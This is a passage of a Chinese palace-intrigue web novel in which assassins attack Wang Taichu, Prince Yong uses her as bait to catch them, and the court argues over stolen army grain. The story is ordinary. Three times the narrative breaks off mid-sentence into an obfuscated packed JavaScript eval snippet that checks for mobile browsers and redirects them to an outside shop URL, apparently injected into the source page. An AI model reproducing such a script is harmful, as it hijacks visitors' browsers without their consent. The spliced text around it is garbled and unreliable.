“那是必然，为兄相信辛老弟定是做事干净，雍王殿下过几日查不出什么这件事也就掩盖过去了。”沈泰陪笑着给辛起山的酒杯斟满酒，“可现下不正是多事之秋吗？他刘聿洵刚遭弹劾，赖长兴在万安门前死的不明不白，现下他急需要立功混淆视听，你可不知道此人黠滑阴狠，难保不会为了揽取功劳，随意攀咬，你我职位又都有获得转运路线的权力，倘若真要找人顶罪保不定我们不会受到牵连。留得青山在不怕没柴烧，你我兄弟二人先委屈一阵子，辛兄也看好那些个私卫，让他们暂避锋芒。” “这点沈兄大可宽心，每次出完任务我都会让他们回万安府在我眼皮子底下看着，断不会查得到他们。” 辛起山虽是不爽利，但想到前几日听自家女儿说起的康王府菊花宴上雍王对太子傲慢的态度也觉着跟此人正面硬碰硬也不是什么好计策，便缓下了态度。 “还得是辛兄弟高招，最危险的地方便是最安全的地方，谁又会怀疑这抢夺军粮杀害运军的‘流匪’会藏在这万安城呢。” 沈泰拿起酒壶，缓缓斟满自己的酒杯。他笑着抬手，轻轻碰了碰辛起山的酒杯，仰头将酒一饮而尽。 16. 第五章 和乐夜宴（一） 寒露过后，万安城的寒意愈发浓重，走在街上仿佛浑身都要被冻透一般。 昨日王太初收到赵盼儿从明州的来信，纤秀字迹间除了念叨那些日常琐事之外，确有几句话令她喜不自胜。 “令妹所赠之物，已妥收。此发簪雕琢繁复，实难有可配而出之场合。日后万勿再如此破费，情谊在心，无需以重金之物相赠。” 当然她知道自己从未给赵盼儿递送过什么发簪，如此看来这唯一有可能之人便只有自己的好哥哥王绍安了。 所以今日天还未亮她便收拾好了自己等在前堂，她和王绍安的宴席定在了立冬那日，其实也不需要准备那么多时日，可江音如偏偏不允，张罗着要将和乐楼翻新一番才算满意，还必须选个好日子，所以便定在了立冬，给各个府邸都发了帖子。 原本以为准备的日子也算宽裕，但碰到凡事力求完美的江音如，时间也变得不够用了，因此这好些天王绍安都会早起抽空去和乐楼帮忙。 王太初却不同，她生来就带着三分“懒骨头”，凡事都是能坐着绝不站着，能躺着绝不坐着，更何况寒露过后万安城越发寒意侵骨，她便更是连被窝都懒得出了，更别说出门帮忙了。 可今日却不同，她早早地跟着王绍安出了门，也没有选择坐轿，饶有兴致地想着先顺道去吃个朝食，然后再去和乐楼做帮手，总而言之，知道王绍安和赵盼儿的感情依旧，她这个做妹妹的是比谁都要欢喜的。 清晨的街巷蒙着层霜白，青石板泛着冷光，王太初跟在王绍安身后蹦蹦跳跳地选着落叶扎堆处踩上去，她喜欢听它们在脚下碎裂发出的细微的脆响声。 “瞧把小姐高兴的，还得是小姐高招，断了那狐媚子的心思。” 沉水跟在王太初身后，还打着哈欠。 “那是自然，大哥哥和盼儿姐姐自小一起长大的情谊，怎么能让万安城的狐媚子给破坏了去。” 王太初很是得意，在一大堆落叶堆里猛踩起来，抒发着自己此时的快意。刺骨的秋风掠过她的脸庞，冻得她的鼻尖红彤彤的，她也不甚在意。 蹦着蹦着，她猛地停在了原地，像是突然想起了什么，接着跑上前挽住王绍安的胳膊，撒娇地问道。 “哥哥可有给雍王殿下下帖子？” 王绍安原本就有些生气，自己这个妹妹这些日子对自己喜怒无常也就罢了，还对自己在康王府捅的篓子坐视不管，不肯去和乐楼帮忙。 可低头看到她冻得发红的鼻尖却又于心不忍，脱下自己的披衣披在了她身上。 “没有，给谁家府邸下帖子都是由父亲决定的，我并未参与。” “可这是为你我摆的接风宴，我们邀几个自己的友人也是可以的吧。” 听闻此言，王绍安停住了脚步，站在原地，那日拜访雍王府事发突然来不及细思，今日细细想来便觉得有些奇怪，自家的妹妹是在何时跟刘聿洵如此相熟的。 他盯着王太初满怀期待的眼神，皱起了眉头，语气态度也变得严肃起来。 “雍王与你我，从来只是君臣，而非友人，太初切莫要妄想。” “哼！” 王太初不满地哼了一声，随即扒下王绍安披在自己身上的披衣，扔回他怀里。 “哥哥迂腐，总拿那高低尊卑的框框拘着自己，也拘着旁人。” 说完她便狠狠瞪了王绍安一眼，转身疾步而去。 王绍安望着她离开的身影，王抃的警告言犹在耳，万安城就像盘根错节的迷局，阴谋阳谋交织，明箭暗箭交错，稍有不慎，便会深陷其中，难以脱身。其中储位之争更是漩涡的中心，他不想看到自己的妹妹被这漩涡裹挟，从此身不由己，甚至可能失去性命。 那份悬心揪肺的担忧压得他喘不过气来，可无奈自己的妹妹向来极有主见，性子执拗得很，但凡她认定的事，任谁说都不会听。 无奈地将怀中的披衣收整挎到左臂，秋风卷起地上的落叶，那堆被王太初踩碎的叶堆在路中打起了转。 他落寞地站在原地，任由秋风卷起脚下的落叶。 然其未查，万安城的暗巷楼宇间，此刻一双眼睛如鹰隼般，正盯着他。 “元月姐姐，这王家那个可算是出门了。” 辛芷绮听到王太初终于出府的消息时，自己还躺在被窝里，此时红罗碳炭火已尽，太阳还未升起，正是屋内最冷的时候。要不是思忖着此次如果能帮上周元月的忙，便能挤走郑思玥，成为对她帮助最大的人，她也断没有毅力一股脑就出了那被窝子，不到一刻就出现在了承平巷的周府。 王家兄妹探访雍王府那一日，就有人给周元月递了消息，再联想到那日在康王府的赏菊宴上，王太初和刘聿洵的熟稔，她心里头便更是妒火愈燃，只是碍于身份在此不好表露。 “瞧瞧妹妹，外头寒风彻骨的，你倒是能跑一身汗。”周元月气定神闲，慢悠悠地搅着碗里的七宝羹，仿似王太初的事情跟她无关，淡淡说道，“这碗羹我还未喝，刚晾凉的，你先喝口定定神。” “对妹妹来说姐姐的事情肯定是最要紧的，这小妮子这些日子都躲在王府不出来，好不容易今日出了门，妹妹自然是要第一时间赶过来告诉姐姐。” 辛芷绮的话语间尽显亲昵，自己虽然靠着出手阔绰在周元月的圈子里混上了位子，但到头来在这个最是讲究身份的万安城，纵使她金山银山堆在那里，也是比不上郑思玥和洪婕的。 “先不着急说她。”周元月用绢帕轻拭唇角，温声道：“前几日父兄托人从西境带了块脂感莹润的和田玉过来，我思忖着找宫里的玉工雕成并蒂莲对牌，到时候你我姐妹一人一块。” “姐姐可真心疼妹妹我。”辛芷绮听闻眼睛一下子亮了起来，她端起羹碗，没一会就喝了个大半。 辛芷绮虽说平日里都 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辛芷绮原本以为周元月只是想着教训一番王太初就是了，她没看过康王府刘聿洵和王太初的私语，没听过雍王府她的私访，自然不知此时周元月的心境。她以为只是跟以前一样，只要王太初愿意承认万安城内只有周元月这朵艳压群芳的花便好了，可是没想到这一次，周元月是要毁了她。 “妹妹奇怪，怎么突然说起了王大人。不过你既然说起来我倒是听了些八卦，说是王大人将一双儿女送去明州之后也鲜少有去明州团聚，你说前些年王大人在翰林院的时候真的有这般繁忙吗？连去见自家姑娘公子的时间都没有？“周元月捻起绢帕捂住嘴巴轻轻一笑，“哪里像我的父亲，即使是在西境，身为镇西都督，但只要局势稳定也总会找机会回万安城来与我相聚。” 辛芷绮自然是听出了话语间的意思，她刻意压抑着自己急促的呼吸，不让周元月看出分毫。 “好了好了，瞧把妹妹热的，这额头怎么就湿了呢？莫不是方才急着赶过来，路上着了冷？”周元月举起手替辛芷绮擦干了额角的汗水，轻笑道，“今日思玥邀我去洪妹妹府上看戏，原想着你既然来了正好同我们一起，现在看来还是早些回家休息的好。” 此刻辛芷绮只觉着脑内似有乱麻纠缠，万千思绪撞在一起，理智告诉她以王抃如今在万安城的权势王太初定是动不得的，可此时周元月的每字每句，似浸了腊月寒冰的银线，悄无声息就缠上了她的脖颈。 她想到自己苦心经营那么多年，这可能是唯一一次真正站到离周元月最近处的机会了。 “爹爹在城北养有死士，可为我们所用。”她一把握住周元月的手，眼神中透露出孤注一掷的狠戾。 “瞧妹妹说什么死士，怪吓人的。”周元月反手握住辛芷绮，将她冰冷的双手包裹在自己的掌心，唇角勾起弯月般的笑意，可目光却像是淬了毒的匕首，直直刺入辛芷绮的眼中。 17. 第五章 和乐夜宴（二） 李全胜这几日在刘聿洵的授意下，一刻不离身地派人盯着辛起山，这位兵部职方司郎中除了车马华服享受着与其俸禄不匹配的生活之外，却也看不出有什么异常之处。 而刘聿洵自从从它山剿匪归来之后，便重新出现在了早朝上，文武百官虽然心中还是对赖长兴之死心有芥蒂，但迫于刘祀的压力，朝堂上也开始出现了“罪疑惟轻，功疑惟重”的言论，更有甚者，已重执卑辞以奉，其中就包括那日在朝堂上牵扯出王绍安的《议礼之说》的礼部尚书吴钩。 说起这个礼部尚书吴钩也是个骑墙滑头、迎合谄媚之人。此人初入仕途时，不过是个礼部小小的主事，因在太宗亲政那年偶然进献一株双生牡丹，牵强附会为“盛世并蒂，国运昌隆”，得到了刘祀的嘉奖，自此尝到了甜头。此后，他专以搜寻祥瑞为能事，或假造白鹿衔枝、或谎报夜现神光，大书特书，将功绩归于圣德，靠着这般投机取巧，短短数年便从主事一路擢升为礼部尚书。 升任礼部尚书后，吴钩的行事越发圆融，朝堂之上，周旋往来，面面俱到。私下里，也常有其攀附东宫的传闻，所以即使那篇《议礼之说》有其向自己插标自售的嫌疑，刘聿洵也不敢妄下结论。 但用其之能，为自己办些许杂事还是方便的，譬如现下，吴钩要做的便是帮刘聿洵找东珠，要求便是匀圆玉润，大可半寸。 “告诉吴尚书，如这酸枣一般大才可。”翰墨斋内还未用上火盆，刘聿洵习武多年锻造的筋骨，让其比他人更加抗冻，他随意从手边的果盆里捡了一颗大的酸枣出来，让李全胜递到前来回话的小吏手中，“你手上的那两颗你也带回去。” 翰墨斋原本就冷，偏近日刘聿洵因为军粮之事没有进展整日绷着个脸，更是让屋内寒气更甚了几分。 吴钩派来的小吏原想着自己手中的这对东珠已是世间罕见，定是能在刘聿洵处讨上一些好处，却没想到这雍王确是不买账，看上去还很是不满意，吓得他接过那颗酸枣行礼之后便匆匆向礼部衙署赶。 “会不会不是辛起山？”李全胜自然知道这几日刘聿洵为何事所烦闷，便开口问道。 雍王府的人跟了辛起山这么些时日，没发现任何他与外人勾结的线索。 “这些日子他都做了什么？” 刘聿洵为了让劫军粮的盗贼能够浮出水面还特意让郑岐玉安排户部给西境运送了一批新的军粮，却没想到这些贼匪像是提前听到了风声一般，人影都没出现。 “辛起山除了去衙门点卯之外，每天也就是换着馆子吃山珍海味，喝完了酒去看杂耍听戏，偶尔夜里还要去勾栏瓦舍寻些乐子，但都是跟衙门里的同僚一起，没有其他可疑之人。剩下的就是他去了两次牙行，看了几处院子。”李全胜转着眼珠子历数了一遍这几日下面汇报上来的情况，总结道，“再就没有其他了。” “府里其他人呢？” “也没有异常。” “也没见着他们家有其他的买卖？”刘聿洵捡了一颗手边尚还泛绿的酸枣塞进口中，酸涩的味道让他皱起了眉头，这是他自创的提神醒脑之法。 “没有。” “那就再多派人手继续盯着，这银子又不会平白无故从地里长出来，如果府里的人手不够，就去兵部找郑尚书借。” “末将得令。” 李全胜说完便打算退出门去安排人手，却见一个奉命监视辛起山的府兵急匆匆地向书斋跑来。 “辛府有异。”来者气喘吁吁，在短暂喘息片刻之后才继续说了下去，“辛芷绮天未亮就套了马车出城，此女素来惰于晨兴，鲜少清晨外出，所以我就派人跟了上去。我们的人一路跟到城北，出了城门，果然在离万安城不远处山脚下的一处村落里找到了他们圈养的一群死士。” “果然，银子是不可能从地上长出来的。”刘聿洵听闻此言，神色未惊，仿若早就料定此般结局，气定神闲地又在果盆里捡了一颗酸枣塞进口中，嚼了两下以后才慢悠悠再开口，“辛芷绮找死士做什么？” 显然西境抢军粮这样的事情辛起山是不会交给辛芷绮来负责的，看来这个从一开始凭着一对东珠耳坠进入自己视野的辛家姑娘有别的安排，只是自己的人凑巧又给赶上罢了。 “末将怕耽误了殿下的部署，只跟着他们到了王府门口，还未得知他们要做什么，就先来禀报了。” “王府？是哪个王府？王抃的府邸？” 刘聿洵闻言，猛得站起身来，脸上的神情也从从容换成了急切。 “是。”来人不知刘聿洵大惊失色的缘由，怯生生答道。 “李全胜，备马，跟我去王府。” 他早该想到这万安城内，姝媛争宠，明枪暗箭，可一点也不输疆场杀伐。 可等刘聿洵赶到王府的时候，那几个死士早就跟着王太初离了府，询问王府的人也不知道去了何处。 “鸣镝！” 刘聿洵此时也失去了理智，他摸了摸自己在王太初的金创药帮助下愈合的伤口，内心被不安的情绪所笼罩，他当然知道是什么样的任务是需要用到死士的。 “殿下，这样会暴露的。” 李全胜不知此时刘聿洵心下的盘算，只知道这么多天的蹲守好不容易得到的线索不可毁于一旦，便开口劝阻。 “放！” 他转身怒斥一声，眼神中是不容反抗的怒意。 “殿下，在和乐楼。” 李全胜搜出鸣笛正欲点火之时，还是刚才那个府兵在街上闻讯一番之后跑了回来。 “卖桨汤的伙计方才说前些时候王家小姐在他那里喝了浆汤以后，说是要去和乐楼帮忙。”府兵见此时刘聿洵和李全胜之间的气氛紧张，怕自己说错了什么话，补充道，“伙计说这些天，王小姐都会去和乐楼做帮手。” 闻言，三人便骑马朝着和乐楼的方向飞驰而去，王府所在的天吉巷和和乐楼所在的酣香街幸而距离不远，策马来到街头刘聿洵就望见了此时正在和乐楼的门口清点货物的王太初。 她抱着一个手炉站在沉水的身侧，看着沉水数着货箱里的物件，却看不出是什么。 送货的是一个硬朗彪悍的货郎，正在从驴车上往下卸货，他的身旁不知何原因跟着一个看着三四岁的女童，正搓着手乖巧地等在一边。 他看到王太初蹲了下来，将手中自己的手炉塞到那女童的手中，还挪了挪位子站到风口帮她挡住了风。 看到王太初安然无恙，刘聿洵悬着的心总算放了下来，喝住了李全胜和府兵的马匹。 “你们去跟我们的人汇合，跟他们一起盯住那几个死士，我一人过去。”他轻拉缰绳，似还有不放心回头嘱咐李全胜道，“告诉大家一刻也不能懈怠。” 王太初哪里知道此时的她正处在腥风血雨中，她蹲在那里逗着货郎的女儿扮着鬼脸，要不是沉水慌忙的请安，丝毫没有注意到刘聿洵的到来。 “问雍王殿下安。” 王太初起身请安，看着刘聿洵从马上一跃而下，只见他胸膛剧烈起伏，眼中犹有未散的惊惶，嘴角牵强地扯出一抹笑意。 “雍王殿下可是来食饭的？”王太初总觉着今日眼前的雍王有一丝的古怪，可又不知这古怪是落在了何处。 “不是，只是来跟王姑娘讨个说法。” 刘聿洵看着王太初咬着嘴唇，圆溜溜的眼睛不住地转动，睫毛扑闪扑闪的，似乎正在盘算着什么。 她对自己的到来感到吃惊，或许更让她吃惊的是自己此时的失态。 他垂眸深吸一口气，将失态的情绪尽数压下，面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这小姑娘衣衫单薄，一个手炉哪里能够御寒，王姑娘莫不是连一件披衣都舍不得吧？” “自然舍得。”手腕被举得生疼，王太初抬头正欲反驳，却对上了刘聿洵近在咫尺的脸。她的心如擂鼓一般，好似要从胸膛一跃而出，周遭的空气让她无法呼吸，她的脸在寒风中开始隐隐发烫，脚步虚浮，只能被刘聿洵的力量带着走，直到半个身子隐没在彩楼欢门里，刘聿洵才松了手。 “也不让王姑娘白舍一件衣裳，我的这件披衣你先用着。”还未等王太初拒绝，这披衣便落在了她身上。 这披衣穿在身上轻便得仿佛只披了层晨雾，王太初深吸一口气，让披衣上残留的四和香的味道肆意地侵略着她的嗅觉。她低头拢了拢身上的披衣，心里想着这皇家用的东西确实是比外面的要好上千万倍，却不知道的是这件看似轻柔的金丝披衣，实则暗藏玄机，看似柔若无物却能将凌厉暗器悄然卸力。 她不知道刘聿洵是在什么时候离开的，和乐楼内吆喝声、碰盏声如沸鼎翻涌，但她却独自在堂角临窗而坐。即使那女童已将披衣还给了她，她还是未脱下刘聿洵的这件。她垂眸盯着那早已冷透的茶汤，早已沉在盏底的茶叶，若有所思。 王太初就这样在和乐楼里呆坐了一天，全然没有注意到今日酣香街有了比平日多一倍的巡防营士兵。 这是刘聿洵从兵部临时调集而来保护王太初的，为了不暴露自己，他命令自己的府兵只在暗中保护。而为了让那些死士以为王太初落单方便动手，那些巡防营的士兵也只是乔装打扮成了路人摊贩的模样，安插在和乐楼的周围，甚至从和乐楼去往王府的路上也早有部署。 他躲在暗处，看着夜色漫过街道，他在等他们动手，当场拿下。 18. 第五章 和乐夜宴（三） 等夜色终于暗透，和乐楼座无虚席之际，王太初才从堂角临窗的那张桌子站起身来，将座位让给了新进门的客人，自己出门回了府。 今日的她神色郁郁，眉间隐有戚色，似有心事。一路走来，只听着沉水在她耳边巴拉巴拉讲个没完，却鲜少回应。 怕人多容易暴露，刘聿洵只吩咐了李全胜和自己一起跟在那群死士的身后，剩余的府兵都被隔在了百米之外。 起初的时候还算顺利，沿途每隔一段距离都有巡防营的士兵在旁保护，但从酣香街拐入七宝街以后，王太初和沉水便拐进了一片行人寥寥的窄巷，没有选择走大道，而是抄了近道，这是刘聿洵没有料到的，也是最好的下手地点。 他心下暗叹一声不好，正欲提示巡防营，可却已经来不及。她们二人方拐进一处暗巷，早已在旁等待时机的死士便从檐角如鹰隼般疾坠，瞬间将她们困在刀光剑影之中。 事情发生得太突然，王太初甚至连反应的时间都没有，刀刃寒光便一闪而过，直直地就向她的脸招呼而来。她本能地拉过身侧的沉水护在身下，转身将后背留给对方，那一刻她做好了赴死的准备。 刀剑如重锤般狠狠砸在她的背上，沉闷的撞击声好似要把骨骼敲碎一般，痛意瞬间炸开。她喉间发出一声闷响，双腿再也支撑不住，重重跪倒在地，额头几乎要贴到冰冷的地面。 那一刻她竟还可笑地想要去探寻伤口，寻着疼痛的方向摸上后背，掌心触到的地方除了火辣辣的钝痛外，皮肉竟未伤分毫。 死士出手的刹那，刘聿洵掌心就扣住了腰间软剑，正要旋身而出，手腕却被拉住。 “殿下三思，此番你若现身，仅凭你我二人恐怕不是他们的对手，但凡让他们逃脱，想要再引他们现身就更难了。”自己的人只是在西境走访了一番，那群鼠辈就躲进了阴暗处再未出现，好不容易现在放松警惕现了真身，实在是机会难得，李全胜不想错过这样难得的机会，压低声音试图劝服刘聿洵，“这披衣是上等金丝所织，定还能埃上两刀，届时巡防营就能赶到救下王姑娘，抓到这群贼匪。” 被握住的手腕先是僵住，继而不受控制地微微发颤，刘聿洵的喉结上下滚动着，他张了张嘴却没有发出任何的声音，只是望着王太初方向的眼神逐渐染上了迟疑，手腕上也卸了力气。 那一刻，李全胜知道他选择了大局。 可当黑衣死士再举起刀剑准备向王太初刺去之时，他眼中的迟疑瞬间消散。 “王太初，还不能死。” 刘聿洵怒目圆睁，反手狠狠甩开李全胜的桎梏，抽出软剑就冲着王太初被困的方向疾冲而去。 好在他没有犹豫，那些死士就像是训练有素的士兵，全然不顾先前那一刀被披衣所阻，如机械般毫无停顿，又是一刀直取王太初面门，被赶来的刘聿洵及时拦下。 见前者受阻，后人便立刻绕过刘聿洵，继续向王太初发难，剩余几人见对方有帮手，便自动形成队形组成三角站位，进退始终保持呼应，像精密运转的杀戮机器一般。 他们没有在刘聿洵的身上多费时间，每一次发起进攻，都只有一个目标，那就是王太初。 李全胜见状，便只能加入战局，分散部分黑衣死士的注意力，让刘聿洵能够更好地挡在王太初之前。此时，隔在不远处的府兵和巡防营的士兵也终于赶到了近前，黑衣死士见状都将目光投向了带头人的身上，只见其人偏过头，下颌骨轻轻一抬，用下巴虚虚点向王太初的方向，随后所有人便像得到了指令一般，一齐朝着王太初的方向而去。电光火石间，刘聿洵抄起墙角的竹竿挥动横扫，硬生生把冲到最前的两人逼退了两步。 “撤！”眼见大批官兵已来到跟前，为首的黑衣人暴喝一声，随即便足尖轻点凌空拔起三丈，踩着飞檐在屋顶间疾掠飞纵，众人紧跟其后，眨眼间便消失在浓稠的夜色中。 李全胜刚想去追，却被拉住。 “不用追了，这些死士竟然皆是行伍出身，只怕内里另有文章，需慎密图之，先不要声张。” 说罢，刘聿洵便转身去看王太初的伤情。沉水被护在身下没有丝毫受伤，此刻正慌慌张张掏出手帕，擦着王太初嘴角溢出的血，眼泪糊了满脸，哭得话都说不出来。 而王太初不知是惊魂未定，还是强自镇定，始终站在一边沉默不语，只是缓缓试图解开身上的披衣，却一直没有成功。 “王姑娘。” 听闻有人喊自己，她木然地抬眸，直到此刻，刘聿洵才看见他眼底翻涌的恐惧，像惊弓之鸟被撞碎了最后的镇定。眨眼间，滚烫的泪珠夺眶而出，先是两滴砸在衣襟，转瞬便汹涌而出，她再也难掩自己的情绪，抽泣着说道：“殿下的披衣，怕是破了。” “不碍事。”他避开她的目光，低头从王太初手中接过那始终没有解开的结，他清楚，若一开始便坦诚相告，不将其作为诱饵想要抓个现行，就不会让她遭受这无妄之灾。 他自信一切尽在掌握，却不想事态会如此失控，就像眼前这个结一般，任他如何用力，反复尝试却怎么都解不开。 他将微颤的手收到身侧，藏到身后，无奈轻叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哼！雍王殿下可真是心若寒铁，我都差些死在此处了，您同我说话的语气也未见有丝毫的恤悯。只要殿下能帮我瞒下此事便是了，至于我怯若惊鸿也罢，胆小如鼠也罢都不用殿下关心。” 说罢，王太初便头也不回地上了马车。 “从今天开始，派一个小队盯着王姑娘，如果再有今天这样的情况，她有事，你们也别活了。” 他唇角的笑意还未散尽，眸光却忽然一暗。原本柔和的眼神瞬间变得狠戾。 19. 第五章 和乐夜宴（四） 霜降过后，万安宫被彻骨的寒意笼罩，早朝后，太子刘聿恒、雍王刘聿洵、丞相赵普、户部尚书王国盈、兵部尚书郑岐玉和通政使司通政使王抃都被留了下来，此刻正站在议事殿内。 “昨夜我刚接到的加急快报，天气转冷之后，鞑靼南下侵扰劫掠我边境的次数越发频繁，战士们临敌奋勇，却没想到朝廷居然连饭都不能让他们吃饱。”刘祀神色肃穆，扬手便将军报狠狠掷于青砖之上，“王国盈，你这个户部尚书先来说说。” “启禀皇上，臣有罪，愿受责罚。”王国盈面如土色，‘扑通’一声重重跌跪于青砖之上，额头抵地磕出闷响，脊背佝偻着不敢抬头，声音发颤小声说道，“只是户部同僚已恪遵典章，从万安仓廪，依期发送军粮，然西行途中，却遇盗贼劫道，才会误期短少，臣愿一人领罪，求陛下降罪。” “朕要的是解决之道，不是你们的膝盖，跪跪跪，下跪有何用，给我起来回话。现在与其徒究责于过往，莫若速谋解决之策。”刘祀声如寒铁，他自然是听出了王国盈的言下之意，他们户部已经按照规章将军粮从仓廪发出，而军粮不能按时按量运抵西境，完全是负责运输的兵部的责任。 刘祀瞥了一眼站在殿旁的刘聿洵，将脸转向了兵部尚书郑岐玉的方向继续追问道，语气却缓和了不少，“那么郑尚书你来说说，军粮运送之事一直都是由兵部负责，其中运输路线更都是机密，为何会多次被贼人给盯上？即使是被盯上，又为何我大庆兵士，竟不敌山野蟊贼，居然会连一个活口都没留下，一粒米都没留下，甚至到现在为止连贼人的影子都没探得半分？” “臣失职，臣愿意领罚。此番臣已命人将知晓军粮运送路线的所有相关人员严密布控，相信不日就会找到线索。”郑岐玉闻言也跪倒在殿中，垂首敛目，沉声说道。 “这些贼人次次都可精准找到我方运粮的军队，可见兵部定有内奸与之勾结，爱卿需得速速找到此奸人，以免落下一个御下无方的话柄。” 刘祀无奈地抬了抬手，让同样跪在下首的郑岐玉起身，他话语间态度虽不算凌厉，但‘御下无方’的用词却也不算客气。 “臣谨遵陛下旨意。” 郑岐玉出生云南，自小在黔国公麾下效力，有胆魄有谋略，因此被黔国公举荐镇守西境在周致正的军队历练。后因在一场边境恶战中被流矢贯穿肩胛，不得不退居后线养伤在营，养伤期间专门负责军报书写。再后来因其精准详识的军报和赫赫的战功，被一纸调令从烽烟弥漫的前线召回万安城，出任兵部侍郎，直至现在的兵部尚书。 在其治下，他执掌的兵部以铁律立威，以清正树风，赏罚分明，既无营私舞弊之弊，亦无拖沓推诿之风，是朝堂纪律严明、清正廉洁的典范。 也正是因为郑岐玉的背后是这样的兵部，刘聿洵的身后是这样的郑岐玉，所以这么多年，雍王才有在朝堂之上和太子争夺储位的政治资本。可今日，在他的治下，居然会出现内有奸佞暗通外敌，外临贼寇屡战屡败，导致军粮运往前线频频延误，西境战士腹内空空的局面，这让其往日积攒的名声在朝堂如沸的议论声中摇摇欲坠。 刘祀又看了一眼站在一旁的刘聿洵，只见他眼神空洞，好似丝毫没有将注意力放在眼前。 那日那群黑衣人逃遁之后，就像是从人间蒸发了一般再也寻不到任何的蛛丝马迹，辛府中人更是如惊弓之鸟一般藏匿在了深宅之中，除了辛芷绮还偶尔出门之外，其余人都不敢踏出府门半步。辛起山更是向吏部递了病假呈文，分明是抱了一躲到底的决心。 刘聿洵纵有万夫不当之勇，也敌不过敌军蜷缩在坚固城防后避而不战，他眼看着这场战役就要变成无从下手的死局，却无计可施。 “臣认为，此刻的当务之急是如何将军粮安全运抵西境。”王抃见殿中气氛渐沉，所有人将重点都放在那暗通贼寇的内奸之上，便阔步走到殿中，拱手提醒道，“西境战事紧迫，前线军士急需军粮，在找到内奸之前，兵部是否可以增派运粮军士，沿途布下重兵层层护卫以确保军粮安全运抵？” “启禀陛下，兵部已抽调精锐士卒，押送军粮西行，算算路程这几日便可抵达西军军营。” 郑岐玉在更早的时候就接到了周致正的密信，虽这些时日他都没有耽搁查找内奸之事，但他和王抃一样，觉得将军粮安稳地运抵西境才是最为重要的。所以从得知此事之后，他和刘聿洵就开始筹划，一面从万安城调粮西行，另一方面也秘密安排了从明州三江口直接调粮西行，确保在寒冬降临之前，边陲之士，皆有粟可食。 这些安排他俱在书信中有跟周致正说起，却不知刘祀为何还会收到西境军粮短缺的军报。 “这一路可还安稳？” “目前尚未有军粮被劫的军报传来。”郑岐玉沉吟间被唤回神思，抬眸应道。 “如此看来，那些贼人也定是听到了风声。”刘祀缓缓起身，在案牍前来回踱步，眉头紧锁，像是在思考什么，后又长舒一口气，顺着案牍慢慢坐下，像是宽慰自己一般叹气说道，“如果他们就此隐匿，恐怕这贼匪是抓不着了。” “儿臣愿意领命缉拿贼人。”此时一直在旁沉默寡言的刘聿洵阔步走到殿中，双手抱拳。 刘祀闻言，既未应和，亦未反驳，神情讳莫难辩，他为自己儿子的担当欣喜，可转念一想，那贼人蛰伏暗处，如若一直不现身，岂不是永无缉拿之日。 都察院弹劾的风波还犹在眼前，那些蛰伏在暗处的敌对势力或许正在等一个时机，一个雍王犯错的时机。 刘祀将目光从刘聿洵的身上收回，看向了站在一边一直未发一言的刘聿恒。虽然刘聿恒垂首默立，但刘祀知道等待这样时机的人中必定也有太子。 他闭上了眼睛，不再言语。这无声的举动，已然表明对于雍王自请抓贼的建议他并不同意。 “捉拿内奸是兵部之事，雍王殿下虽少时在兵部磨砺，然终究未入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16171112|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵部编制，此事理应交由我兵部处置，方合规制。” 似是和刘祀有一样的忧虑，郑岐玉第一时间站出来反对。 “郑尚书这般说，倒显得生分了。前些日子它山剿匪，原也是兵部辖内事务，最后不还是由本王领兵，才将匪患荡平？怎么现下，我就成了外人了？”刘聿洵嘴角一勾，朝着郑岐玉递了个胸有成竹的眼神，半开玩笑着说道。 “一事归一事。”郑岐玉还是没有松口。 “莫不是郑尚书对我这个徒弟不放心？觉得我抓不到这贼人？”刘聿洵凑到跟前，他素来行事无状惯了，便是在朝堂之上有这般举动也不足为奇。 “臣下不敢。”郑岐玉忙后退一步拱手，抬眸剜了刘聿洵一眼，示意他不要好大喜功。 “咳咳，臣以为……”赵普年事已高，蒙圣上特许赐座在一旁，他轻咳两声，扶着座椅扶手缓缓起身，作揖说道，“臣以为既然雍王殿下有此心志，陛下当可成全。何况以往陛下委于殿下的差事，何曾有过一桩落空。” 刘祀听闻赵普出声，倏地睁开眼，他扬手示意宫人扶其坐下，思索半刻开口道：“既然雍王殿下自请，先生也觉着应该给雍王机会，那便就这么定了吧。” 他站起身，随手拍了拍龙袍上的褶皱，目光扫过下首的刘聿洵，展现出一副“你好自为之”的表情。 “儿臣定不负父皇信任。” 通往万安门的甬道上，郑岐玉故意加快脚步走到刘聿洵的身边。 “殿下此番冒进了。” “周将军绝无可能向父皇递送军报坦白西境缺粮之事，可见这是一个陷阱。”刘聿洵神色阴郁，他显然也看出来了这个陷阱是专门为他而设。 “明知是陷阱你还敢往里面跳，你是怕找上你的是非还不够多吗？”郑岐玉压低声音责备道。 “如果次次都避开陷阱，我们又怎么会知道这背后之人究竟是想干什么？” “这背后之人想干什么还不清楚吗？无论是太子，还是太子身后的势力，他们要的无非就是你犯下错误，日后可以找到弹劾你的说辞，你说你傻不傻，还偏偏喜欢专往难事上凑，你就不能跟太子学一学，藏锋免咎，躲过这一阵子。” 